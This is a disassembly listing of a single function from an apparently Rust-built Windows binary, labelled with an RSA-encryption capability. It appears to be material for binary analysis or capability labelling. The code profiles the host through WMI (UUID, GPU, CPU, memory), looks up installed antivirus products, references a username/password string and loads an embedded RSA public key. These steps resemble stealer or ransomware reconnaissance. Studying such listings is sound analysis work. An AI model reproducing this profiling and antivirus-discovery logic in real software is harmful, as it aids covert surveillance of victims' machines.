Function at 0x140005de5
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x19b8
call fcn.140116540
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1920], xmm12
movdqa xmmword [rbp + 0x1910], xmm11
movdqa xmmword [rbp + 0x1900], xmm10
movaps xmmword [rbp + 0x18f0], xmm9
movdqa xmmword [rbp + 0x18e0], xmm8
movdqa xmmword [rbp + 0x18d0], xmm7
movdqa xmmword [rbp + 0x18c0], xmm6
and rsp, 0xffffffffffffffc0
mov qword [rsp + 0xf08], rcx
push 5
pop rcx
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x8e0], rcx
xor edx, edx
call fcn.14009fd70
lea rsi, [rsp + 0x400]
mov rcx, rsi
call fcn.1400f6417
lea rdx, [0x140129c20]
mov rcx, rsi
call fcn.140001d1c
lea rsi, [rsp + 0x400]
mov rcx, rsi
call fcn.1400f651a
lea rdx, [0x140129c38]
mov rcx, rsi
call fcn.140001bc5
mov qword [rsp + 0x160], rax
call sub.kernel32.dll_GetCurrentProcessId
mov dword [rsp + 0x1f8], eax
lea rax, [rsp + 0xf40]
mov qword [rax], 2
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r8d, 0x200
push 2
pop rax
mov qword [rsp + 0x98], rax
mov ebx, 0xffffffff
xor r14d, r14d
xor r12d, r12d
cmp r8, 0x201
jae 0x140005f07
mov esi, 0x200
lea r13, [rsp + 0x400]
mov r15, r8
jmp 0x140005f67
sub r8, r12
sub r14, r12
cmp r14, r8
jae 0x140005f3f
lea rcx, [rsp + 0xf40]
mov rdx, r12
call fcn.14009fb30
mov rax, qword [rsp + 0xf40]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0x78], rax
mov r14, qword [rsp + 0x78]
cmp r14, rbx
mov r12d, 0xffffffff
cmovb r12, r14
mov qword [rsp + 0xf50], r12
mov rsi, r12
mov r13, qword [rsp + 0x98]
mov r15, r12
xor ecx, ecx
call sub.kernel32.dll_SetLastError
xor ecx, ecx
mov rdx, r13
mov r8d, r15d
call sub.kernel32.dll_GetModuleFileNameW
mov edi, eax
test eax, eax
jne 0x140005f8e
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x140006035
mov r8d, edi
cmp r15, r8
jne 0x140005fc0
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x14000cfa2
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
mov ebx, 0xffffffff
cmovae r15, rax
mov r8, r15
jmp 0x140005eec
jb 0x140005eec
cmp rsi, r8
jb 0x14000d5bf
lea rcx, [rsp + 0x980]
mov rdx, r13
call fcn.1400a1840
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x218], rax
mov sil, byte [rsp + 0x998]
mov eax, dword [rsp + 0x999]
mov dword [rsp + 0x310], eax
mov eax, dword [rsp + 0x99c]
mov dword [rsp + 0x313], eax
jmp 0x14000604d
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xf8], rax
mov sil, 2
cmp qword [rsp + 0x78], 0
je 0x140006065
push 2
pop rdx
mov rcx, qword [rsp + 0x98]
call fcn.14002c950
cmp sil, 2
je 0x14000d079
test sil, sil
jne 0x14000610f
cmp qword [rsp + 0x218], 0
je 0x14000610f
mov rdx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x218]
add rax, rdx
lea rcx, [rdx + 1]
mov r8b, byte [rdx]
test r8b, r8b
jns 0x140006107
cmp r8b, 0xe0
jae 0x1400060b9
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
jmp 0x140006107
cmp r8b, 0xed
jne 0x1400060e0
cmp rcx, rax
je 0x14000610f
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14000610f
cmp byte [rdx + 1], 0x9f
ja 0x14000d536
add rdx, 3
mov rcx, rdx
jmp 0x140006107
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140006107
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
mov rdx, rcx
cmp rcx, rax
jne 0x14000609a
lea rdx, str.usernamepasswordKn_t_
lea rcx, [rsp + 0xf40]
push 8
pop r8
call fcn.1400bcab0
push 1
pop r8
cmp byte [rsp + 0xf58], 3
jne 0x14000d11d
lea rcx, [rsp + 0xf40]
mov rax, qword [rcx]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rcx + 8]
mov qword [rsp + 0x8f0], rax
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf28], rax
lea r8, [0x140129ca3]
lea rdx, [rsp + 0x160]
push 0x2c
pop r9
call fcn.14003faab
cmp byte [rsp + 0xf40], 0x12
jne 0x14000d1c3
lea rax, [rsp + 0xf48]
mov r15, qword [rax]
mov r12, qword [rax + 0x10]
mov rcx, r12
call fcn.140073a67
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
mov rdx, r12
call fcn.140068acb
mov r14, qword [rsp + 0x990]
test r12, r12
je 0x140006231
imul rsi, r14, 0x18
add rsi, qword [rsp + 0x980]
lea r13, [0x140156a80]
push 4
pop rdi
lea rbx, [rsp + 0x400]
mov rcx, r15
lea rdx, str.UUID
mov r8, rdi
mov r9, r13
call fcn.14003b666
mov rcx, rbx
mov rdx, rax
call fcn.14000f5f5
mov rax, qword [rsp + 0x410]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rsi], xmm0
inc r14
add rsi, 0x18
add r15, 0x30
dec r12
jne 0x1400061e8
movdqu xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x400], xmm0
mov qword [rsp + 0x410], r14
mov rdx, qword [rsp + 0x400]
and qword [rsp + 0x20], 0
lea r9, str.invalid_type:___expected
lea rcx, [rsp + 0xd88]
mov r8, r14
call fcn.14008bff1
lea rcx, [rsp + 0x400]
call fcn.140068a72
lea rcx, [rsp + 0xf48]
call fcn.140001655
lea r8, str.SELECT_name_FROM_Win32_VideoControllerCouldnt_get_GPU._Error:
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x160]
push 0x26
pop r9
call fcn.14003faab
cmp byte [rsp + 0xf40], 0x12
jne 0x14000d271
lea rax, [rsp + 0xf48]
mov r15, qword [rax]
mov r12, qword [rax + 0x10]
mov rcx, r12
call fcn.140073a67
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
mov rdx, r12
call fcn.140068acb
mov r14, qword [rsp + 0x990]
test r12, r12
je 0x14000635f
imul rsi, r14, 0x18
add rsi, qword [rsp + 0x980]
lea r13, [0x140156aa0]
push 4
pop rdi
lea rbx, [rsp + 0x400]
mov rcx, r15
lea rdx, str.Name
mov r8, rdi
mov r9, r13
call fcn.14003b666
mov rcx, rbx
mov rdx, rax
call fcn.14000f5f5
mov rax, qword [rsp + 0x410]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rsi], xmm0
inc r14
add rsi, 0x18
add r15, 0x30
dec r12
jne 0x140006316
movdqu xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x400], xmm0
mov qword [rsp + 0x410], r14
mov rdx, qword [rsp + 0x400]
and qword [rsp + 0x20], 0
lea r9, str.invalid_type:___expected
lea rcx, [rsp + 0xda0]
mov r8, r14
call fcn.14008bff1
lea rcx, [rsp + 0x400]
call fcn.140068a72
lea rcx, [rsp + 0xf48]
call fcn.140001655
lea r8, str.SELECT_name_FROM_Win32_ProcessorCouldnt_get_CPU._Error:
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x160]
push 0x20
pop r9
call fcn.14003faab
cmp byte [rsp + 0xf40], 0x12
jne 0x14000d328
lea rax, [rsp + 0xf48]
mov r15, qword [rax]
mov r12, qword [rax + 0x10]
mov rcx, r12
call fcn.140073a67
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
mov rdx, r12
call fcn.140068acb
mov r14, qword [rsp + 0x990]
test r12, r12
je 0x14000648d
imul rsi, r14, 0x18
add rsi, qword [rsp + 0x980]
lea r13, [0x140156ab8]
push 4
pop rdi
lea rbx, [rsp + 0x400]
mov rcx, r15
lea rdx, str.Name
mov r8, rdi
mov r9, r13
call fcn.14003b666
mov rcx, rbx
mov rdx, rax
call fcn.14000f5f5
mov rax, qword [rsp + 0x410]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rsi], xmm0
inc r14
add rsi, 0x18
add r15, 0x30
dec r12
jne 0x140006444
movdqu xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x400], xmm0
mov qword [rsp + 0x410], r14
mov rdx, qword [rsp + 0x400]
and qword [rsp + 0x20], 0
lea r9, str.invalid_type:___expected
lea rcx, [rsp + 0xdb8]
mov r8, r14
call fcn.14008bff1
lea rcx, [rsp + 0x400]
call fcn.140068a72
lea rcx, [rsp + 0xf48]
call fcn.140001655
lea r8, str.SELECT_TotalPhysicalMemory_FROM_Win32_ComputerSystem
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x160]
push 0x34
pop r9
call fcn.14003faab
cmp byte [rsp + 0xf40], 0x12
jne 0x14000d3df
lea rax, [rsp + 0xf48]
mov r14, qword [rax]
mov r15, qword [rax + 0x10]
mov rcx, r15
call fcn.140073a67
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
mov rdx, r15
call fcn.140068acb
mov rbx, qword [rsp + 0x990]
test r15, r15
je 0x1400065bc
imul rsi, rbx, 0x18
add rsi, qword [rsp + 0x980]
lea r12, [0x140156ae8]
push 0x13
pop r13
lea rdi, [rsp + 0x400]
mov rcx, r14
lea rdx, str.TotalPhysicalMemory
mov r8, r13
mov r9, r12
call fcn.14003b666
mov rcx, rdi
mov rdx, rax
call fcn.14000f5f5
mov rax, qword [rsp + 0x410]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rsi], xmm0
inc rbx
add rsi, 0x18
add r14, 0x30
dec r15
jne 0x140006573
lea rcx, [rsp + 0x980]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x400], xmm0
mov qword [rsp + 0x410], rbx
mov rdx, qword [rsp + 0x400]
and qword [rsp + 0x20], 0
lea r9, str.invalid_type:___expected
mov r8, rbx
call fcn.14008bff1
mov rsi, qword [rsp + 0x980]
mov rdx, qword [rsp + 0x990]
mov rcx, rsi
call fcn.140027770
mov rbx, rax
test al, 1
jne 0x14000d496
mov rdx, qword [rsp + 0x988]
mov rcx, rsi
call fcn.1400f09e1
lea rcx, [rsp + 0x400]
call fcn.140068a72
lea rcx, [rsp + 0xf48]
call fcn.140001655
lea rcx, [rsp + 0x400]
call fcn.1400f6417
lea rdx, [0x140129e60]
lea rcx, [rsp + 0x400]
call fcn.140001d1c
lea rcx, [rsp + 0x400]
call fcn.1400f6417
lea rdx, [0x140129e90]
lea rcx, [rsp + 0x400]
call fcn.140001d1c
lea rdx, str.ROOT_securitycenter2
lea rcx, [rsp + 0x400]
push 0x14
pop r8
call fcn.1400f652c
lea rdx, [0x140129ea8]
lea rcx, [rsp + 0x400]
call fcn.140001bc5
lea rdx, [rsp + 0x930]
mov qword [rdx], rax
lea r8, str.SELECT_displayName_FROM_AntiVirusProductdisplayName
lea rcx, [rsp + 0xf40]
push 0x28
pop r9
mov qword [rsp + 0xed0], rcx
call fcn.14003f6bc
cmp byte [rsp + 0xf40], 0x12
jne 0x14000d4cc
lea rax, [rsp + 0xf48]
mov r15, qword [rax]
mov rsi, qword [rax + 8]
mov rdi, qword [rax + 0x10]
push 3
pop rcx
mov qword [rsp + 0x8f8], rcx
call fcn.140018028
mov qword [rsp + 0x1e8], rdx
shr rbx, 0x3e
mov qword [rsp + 0xf20], rbx
mov byte [rax + 2], 0x41
mov qword [rsp + 0x140], rax
mov word [rax], 0x2f4e
imul rax, rdi, 0x30
add rax, r15
mov qword [rsp + 0x980], r15
mov qword [rsp + 0x988], rsi
mov qword [rsp + 0x990], r15
mov qword [rsp + 0x998], rax
lea rdi, [0x140129ee8]
push 0xb
pop rbx
pcmpeqd xmm6, xmm6
cmp r15, rax
je 0x1400068fd
lea rax, [r15 + 0x30]
mov qword [rsp + 0x990], rax
mov r14, qword [r15]
test r14, r14
je 0x1400068fd
mov qword [rsp + 0x400], r14
mov rax, qword [r15 + 0x28]
lea rcx, [rsp + 0x408]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [r15 + 8]
movups xmm1, xmmword [r15 + 0x18]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
cmp qword [rsp + 0x418], 0
je 0x14000ceb7
mov rcx, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x428]
mov r8, rdi
mov r9, rbx
call fcn.1400723d9
mov r15, qword [rsp + 0x408]
mov r12, r15
and r12, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x78], rax
movdqu xmm8, xmmword [r14 + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb esi, xmm0
test si, si
je 0x140006852
bsf eax, esi
add rax, r12
and rax, r15
neg rax
imul r13, rax, 0x30
mov r8, qword [r14 + r13 - 0x30]
mov r9, qword [r14 + r13 - 0x20]
mov rcx, rdi
mov rdx, rbx
call fcn.14008ebc5
lea ecx, [rsi - 1]
and ecx, esi
mov esi, ecx
test al, al
je 0x14000681b
jmp 0x14000687e
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14000ceb7
mov rax, qword [rsp + 0x78]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x78], rax
and r12, r15
jmp 0x140006808
add r14, r13
mov rdx, qword [r14 - 0x18]
mov r8, qword [r14 - 8]
lea rcx, [rsp + 0x1340]
call fcn.140010c60
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x1e8]
call fcn.1400f09e1
mov rax, qword [rsp + 0x1340]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x1348]
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1350]
mov qword [rsp + 0x8f8], rax
lea rcx, [rsp + 0x400]
call fcn.140038e8c
mov r15, qword [rsp + 0x990]
mov rax, qword [rsp + 0x998]
jmp 0x140006767
lea rcx, [rsp + 0x980]
call fcn.140043c6c
cmp byte [rsp + 0xf40], 0x12
je 0x140006921
lea rcx, [rsp + 0xf40]
call fcn.1400016c8
mov eax, 0xa8
lea rcx, [rsp + 0x1820]
lea rdx, [rcx + rax]
mov qword [rsp + 0xee8], rdx
mov edx, 0xa9
lea r8, [rcx + rdx]
mov qword [rsp + 0xf00], r8
mov r8d, 0xbf
add rcx, r8
mov qword [rsp + 0xef8], rcx
lea rcx, [rsp + 0x310]
add rax, rcx
mov qword [rsp + 0xef0], rax
add rdx, rcx
mov qword [rsp + 0xee0], rdx
add r8, rcx
mov qword [rsp + 0xed8], r8
mov eax, dword [rsp + 0x1f8]
mov qword [rsp + 0xf18], rax
pxor xmm6, xmm6
pcmpeqd xmm7, xmm7
movdqa xmm8, xmmword [0x1401231f0]
movaps xmm9, xmmword [0x140123200]
lea rax, str.RSA_PUBLIC_KEY
mov qword [rsp + 0x138], rax
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_block.rsshould_be_8_bytes
mov qword [rsp + 0xe0], rax
push 0xa
pop rax
mov qword [rsp + 0x8d8], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2c0], rax
xor eax, eax
mov qword [rsp + 0x8e8], rax
push 5
pop rcx
xor edx, edx
call fcn.14009fd70
lea rcx, [rsp + 0x400]
push 0x20
pop rdx
call fcn.140015701
call fcn.1400534d6
mov rdi, rax
mov rsi, qword [rsp + 0x400]
mov r13, qword [rsp + 0x410]
mov rcx, rax
mov rdx, rsi
mov r8, r13
call fcn.1400537a4
mov rcx, rdi
call fcn.14005343f
mov rcx, r13
call fcn.140018028
mov qword [rsp + 0x2e0], rdx
mov qword [rsp + 0x158], rax
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x400]
mov rdx, qword [rsp + 0x408]
call fcn.1400f09e1
call fcn.1400534d6
mov qword [rsp + 0x1f0], rax
mov eax, 0x1ab
mov qword [rsp + 0x78], rax
mov edx, 0x1ab
lea r12, [0x140129f39]
mov rcx, r12
call fcn.140051093
test al, al
jne 0x140006b00
mov esi, 0x1aa
lea r12, [0x140129f39]
mov qword [rsp + 0x78], rsi
cmp rsi, 0xffffffffffffffff
je 0x14000cae4
movzx eax, byte [r12]
inc r12
cmp eax, 0xa
je 0x140006add
test eax, eax
mov rsi, qword [rsp + 0x78]
jne 0x140006af1
jmp 0x14000cae4
mov rcx, r12
mov rsi, qword [rsp + 0x78]
mov rdx, rsi
call fcn.140051093
test al, al
jne 0x140006af6
dec rsi
jmp 0x140006ab3
cmp rsi, 0xb
jb 0x14000cc15
mov rcx, r12
lea rdx, str._____BEGIN__home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_pem_rfc7468_0.7.0_src_grammar.rs_v
push 0xb
pop r8
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000cc15
mov rax, qword [rsp + 0x78]
lea rdi, [rax - 0xb]
lea rsi, [r12 + 0xb]
xor eax, eax
xor ebx, ebx
cmp rdi, rbx
je 0x140006b7e
movzx ecx, byte [r12 + rbx + 0xb]
lea edx, [rcx - 0x2d]
cmp dl, 0xf4
setb r8b
lea edx, [rcx - 0x7f]
cmp dl, 0xaf
setb dl
and dl, r8b
cmp dl, 1
jne 0x140006b77
cmp ecx, 0x2d
je 0x140006b83
test rbx, rbx
je 0x14000caed
cmp ecx, 0x20
je 0x140006b6f
cmp ecx, 9
jne 0x14000caed
test al, 1
jne 0x14000caed
inc rbx
mov eax, edx
jmp 0x140006b2d
mov rbx, rdi
jmp 0x140006b8c
cmp rbx, rdi
ja 0x14000ce88
lea rcx, [rsp + 0x1340]
mov rdx, rsi
mov r8, rbx
call fcn.14001fd60
cmp qword [rsp + 0x1340], 0
jne 0x14000caed
sub rdi, rbx
cmp rdi, 4
jbe 0x14000caed
add rsi, rbx
cmp byte [rsi], 0x2d
jne 0x14000caed
cmp byte [rsi + 1], 0x2d
jne 0x14000caed
cmp byte [rsi + 2], 0x2d
jne 0x14000caed
cmp byte [rsi + 3], 0x2d
jne 0x14000caed
cmp byte [rsi + 4], 0x2d
jne 0x14000caed
mov rdx, rdi
add rdx, 0xfffffffffffffffb
je 0x14000caed
mov r15, qword [rsp + 0x1348]
mov rax, qword [rsp + 0x1350]
mov qword [rsp + 0x1f8], rax
mov cl, byte [rsi + 5]
push 6
pop r9
mov rax, r9
push 0xfffffffffffffffa
pop r8
cmp cl, 0xa
je 0x140006c51
cmp rdx, 2
jb 0x140006c41
cmp cl, 0xd
jne 0x140006c41
cmp byte [rsi + 6], 0xa
push 7
pop rax
push 0xfffffffffffffff9
pop r8
jne 0x140006c4a
jmp 0x140006c51
cmp cl, 0xd
jne 0x14000caed
mov rax, r9
push 0xfffffffffffffffa
pop r8
add rdi, r8
add rsi, rax
mov rcx, rsi
mov rdx, rdi
call fcn.140050584
test rax, rax
cmovne rsi, rax
mov rbx, rdx
cmove rbx, rdi
cmp rbx, 4
jbe 0x14000cbe9
cmp byte [rbx + rsi - 1], 0x2d
jne 0x14000cbe9
cmp byte [rbx + rsi - 2], 0x2d
jne 0x14000cbe9
cmp byte [rbx + rsi - 3], 0x2d
jne 0x14000cbe9
cmp byte [rbx + rsi - 4], 0x2d
jne 0x14000cbe9
cmp byte [rsi + rbx - 5], 0x2d
jne 0x14000cbe9
mov qword [rsp + 0x148], r13
add rbx, 0xfffffffffffffffb
lea rax, [0x140159e5e]
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], 9
mov qword [rsp + 0x1350], r15
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x1358], rax
push 0xffffffffffffffe0
pop rdi
lea r13, [rsp + 0x1360]
test rdi, rdi
je 0x140006d2e
mov rdx, qword [r13 - 8]
sub rbx, rdx
jb 0x14000cad7
mov rcx, qword [r13 - 0x10]
add r13, 0xfffffffffffffff0
lea r8, [rsi + rbx]
mov r9, rdx
call fcn.14005fba7
add rdi, 0x10
test al, al
jne 0x140006cfb
jmp 0x14000cad7
mov rcx, rsi
mov rdx, rbx
call fcn.140050584
test rax, rax
je 0x14000cc27
test rdx, rdx
je 0x14000cc0d
and dword [rsp + 0x168], 0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x1350], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x1358], rdx
mov qword [rsp + 0x1340], 1
mov qword [rsp + 0x1348], 0x40
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0x1340]
call fcn.1400135b7
cmp qword [rsp + 0x310], 0
je 0x140006eb6
mov rsi, qword [rsp + 0x318]
test rsi, rsi
je 0x14000cb1b
mov rdi, qword [rsp + 0x320]
xor ebx, ebx
mov r13b, 1
add rbx, rdi
jb 0x14000cb23
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0x1340]
call fcn.1400135b7
cmp qword [rsp + 0x310], 0
je 0x140006e48
mov r14, qword [rsp + 0x318]
test r14, r14
je 0x14000cb1b
cmp rdi, 4
jb 0x14000cb23
mov r13, qword [rsp + 0x320]
lea r8, [rdi + rsi]
add r8, 0xfffffffffffffffc
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x168]
push 4
pop rdx
mov r9, rdx
call fcn.1400c5168
mov rsi, r14
mov rdi, r13
jmp 0x140006dca
mov r14d, ebx
and r14d, 3
push 4
pop rax
cmove r14, rax
sub rbx, r14
jb 0x14000cb23
and word [rsp + 0x220], 0
mov byte [rsp + 0x222], 0
mov rax, rdi
sub rax, r14
jae 0x140006ebd
sub r14, rdi
cmp r14, 4
ja 0x14000cb23
lea rcx, [rax + 4]
lea r8, [rsp + rax]
add r8, 0x16c
xor edx, edx
cmp r14, rdx
je 0x140006ee9
cmp rax, 0xfffffffffffffffc
jb 0x14000c787
mov r9b, byte [r8 + rdx]
mov byte [rsp + rdx + 0x168], r9b
inc rdx
jmp 0x140006e96
xor eax, eax
jmp 0x140006fa7
add rsi, rax
mov qword [rsp + 0x20], 3
lea rcx, [rsp + 0x310]
mov rdx, rsi
mov r8, r14
lea r9, [rsp + 0x220]
call fcn.1400505c8
jmp 0x140006f70
lea rcx, [rsp + 0x168]
mov rdx, r14
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.1400510c3
mov rcx, rax
mov r8, rdi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14004fc03
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.1400c5168
add r14, rdi
jb 0x14000cb23
lea rcx, [rsp + 0x168]
mov rdx, r14
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.1400510da
mov r8, rdx
mov qword [rsp + 0x20], 3
lea rcx, [rsp + 0x310]
mov rdx, rax
lea r9, [rsp + 0x220]
call fcn.1400505c8
cmp qword [rsp + 0x310], 0
je 0x14000ce7b
mov rcx, qword [rsp + 0x318]
mov rax, rbx
shr rax, 2
and ebx, 3
lea rdx, [rax + rax*2]
lea eax, [rbx + rbx*2]
shr eax, 2
add rax, rdx
add rax, rcx
jb 0x14000cc0d
and word [rsp + 0x40d], 0
and dword [rsp + 0x409], 0
mov byte [rsp + 0x40f], 0
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x410], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x418], rcx
lea rcx, str.invalid_type:___expected
mov qword [rsp + 0x420], rcx
and qword [rsp + 0x428], 0
mov qword [rsp + 0x430], rax
lea rcx, [rsp + 0x438]
movdqu xmmword [rcx], xmm6
and dword [rcx + 0xf], 0
mov al, byte [rsp + 0x1824]
mov byte [rcx + 0x17], al
mov eax, dword [rsp + 0x1820]
mov dword [rcx + 0x13], eax
mov qword [rsp + 0x400], 1
mov byte [rsp + 0x408], 0x40
mov qword [rsp + 0x450], r15
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x458], rax
push 0xc
pop rcx
lea rdi, [rsp + 0x980]
lea rsi, [rsp + 0x400]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x980]
cmp rax, 2
je 0x14000cb54
movdqu xmm0, xmmword [rsp + 0x988]
mov rcx, qword [rsp + 0x998]
lea rdx, [rsp + 0x988]
movups xmm1, xmmword [rdx + 0x18]
movups xmm2, xmmword [rdx + 0x28]
movups xmm3, xmmword [rdx + 0x38]
movups xmm4, xmmword [rdx + 0x48]
lea rdx, [rsp + 0xf60]
movups xmmword [rdx + 0x30], xmm4
movups xmmword [rdx + 0x20], xmm3
movups xmmword [rdx + 0x10], xmm2
movups xmmword [rdx], xmm1
movdqu xmmword [rsp + 0xf48], xmm0
mov qword [rsp + 0xf58], rcx
mov qword [rsp + 0xf40], rax
mov rax, qword [rsp + 0xf90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xf98]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x1340], 1
lea rax, [rsp + 0x1358]
movdqu xmmword [rax - 0x10], xmm6
mov rsi, qword [rsp + 0xf70]
test rsi, rsi
je 0x140007124
lea rcx, [rsp + 0x1340]
mov rdx, rsi
call fcn.14005048e
lea rcx, [rsp + 0x1340]
mov rdx, rsi
call fcn.14005048e
mov rdi, qword [rsp + 0x1340]
mov rbx, qword [rsp + 0x1350]
test rsi, rsi
je 0x140007162
lea rcx, [rdi + rbx]
xor edx, edx
mov r8, rsi
call sub.msvcrt.dll_memset
add rbx, rsi
mov qword [rsp + 0x1350], rbx
xor ecx, ecx
mov rdx, rdi
mov r8, rbx
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14008854b
mov r14, rax
mov r13, rdx
mov rax, qword [rsp + 0xf68]
or rax, qword [rsp + 0xf58]
jne 0x1400071a7
mov rax, qword [rsp + 0xf80]
push 1
pop rcx
cmp rax, qword [rsp + 0xf78]
je 0x14000768b
xor esi, esi
mov r8, r13
sub r8, rsi
jbe 0x140007620
mov rax, qword [rsp + 0xf78]
mov rcx, qword [rsp + 0xf80]
sub rax, rcx
je 0x14000726f
jb 0x14000765a
cmp rax, r8
cmovb r8, rax
mov rax, rcx
add rax, r8
jb 0x14000765a
mov qword [rsp + 0xf80], rax
cmp rcx, 4
jae 0x14000cbf9
push 3
pop rdx
sub rdx, rcx
lea rax, [rsp + 0xf88]
add rcx, rax
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.1400d25bf
mov rbx, rax
mov rdi, rdx
test rax, rax
je 0x14000765d
mov rcx, rsi
mov rdx, r14
mov r8, r13
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14008854b
mov rcx, rax
mov r8, rdi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14004fc03
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rbx
mov r9, rdi
call fcn.1400c5168
add rsi, rdi
jb 0x14000761b
cmp qword [rsp + 0xf68], 0
jne 0x14000729a
cmp qword [rsp + 0xf58], 0
je 0x14000729a
lea rcx, [rsp + 0xf40]
call fcn.14005111a
cmp al, 2
jne 0x140007671
mov rax, r13
sub rax, rsi
jb 0x14000761b
mov rdi, qword [rsp + 0xf60]
mov rcx, qword [rsp + 0xf68]
mov r15, rcx
shr r15, 2
xor edx, edx
push 3
pop r8
div r8
cmp r15, rax
cmovae r15, rax
lea rbx, [r15*4]
mov rax, rcx
sub rax, rbx
lea rdx, [rdi + r15*4]
lea r8, str.invalid_type:___expected
cmovbe rdx, r8
mov r8d, 0
cmovb rax, r8
cmovb rbx, rcx
mov qword [rsp + 0xf60], rdx
mov qword [rsp + 0xf68], rax
test rbx, rbx
je 0x140007377
mov rcx, rsi
mov rdx, r14
mov r8, r13
